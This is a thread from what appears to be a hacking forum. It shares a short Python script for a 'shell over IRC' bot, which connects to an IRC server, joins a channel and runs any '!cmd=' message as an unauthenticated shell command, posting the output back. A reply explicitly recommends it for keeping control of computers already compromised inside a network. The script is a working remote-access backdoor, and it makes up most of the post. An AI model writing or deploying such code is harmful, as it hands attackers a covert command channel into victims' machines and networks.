Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


[Python][Example]Shell over IRC filter_list
Author
Message
[Python][Example]Shell over IRC #1
(note: do not use this for things that are important as there is no authentication whatsoever )

Backstory:
One day I was in class, I wanted to do this and was bored so I wrote it.  The end.

Issues:
Only One Line Output
No Auth.
Code:
import socket import sys from subprocess import (PIPE, Popen) server = "irc.server.net"       #server channel = "#channel" #channel botnick = "pyShellIRC" #nick to logon with def runcmd(command):    return Popen(command, stdout=PIPE, shell=True).stdout.read()     #IRC Connections irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket print "connecting to:"+server irc.connect((server, 6667))                                                         #connects to the server irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :This is a fun bot!\n") #user authentication irc.send("NICK "+ botnick +"\n")                            #sets nick irc.send("PRIVMSG nickserv :iNOOPE\r\n")    #auth irc.send("JOIN "+ channel +"\n")        #join the chan while 1:    #puts it in a loop    text=irc.recv(2040)  #receive the text    print text   #print text to console    if text.find('PING') != -1:                          #check if 'PING' is found        irc.send('PONG ' + text.split() [1] + '\r\n') #returnes 'PONG' back to the server (prevents pinging out!)    if text.find(':!cmd=') != -1:        c = text.split('=')[1]        cl = c.replace("\r", "")        cmdout = runcmd(str(cl))        cmdend = cmdout.splitlines()        for x in cmdend:            irc.send('PRIVMSG '+channel+' :'+x+' \n')    
(This post was last modified: 04-27-2019, 11:03 AM by Blink.)


(11-02-2018, 02:51 AM)Skullmeat Wrote: Ok, there no real practical reason for doing this, but that's never stopped me.

Reply

RE: [Python][Example][WIP] Shell over IRC #2
I've done this before.
It's super usefull when you compromise a computer in a nettwok you can't get access to from an outside nettwork.

[+] 1 user Likes Pikami's post
Reply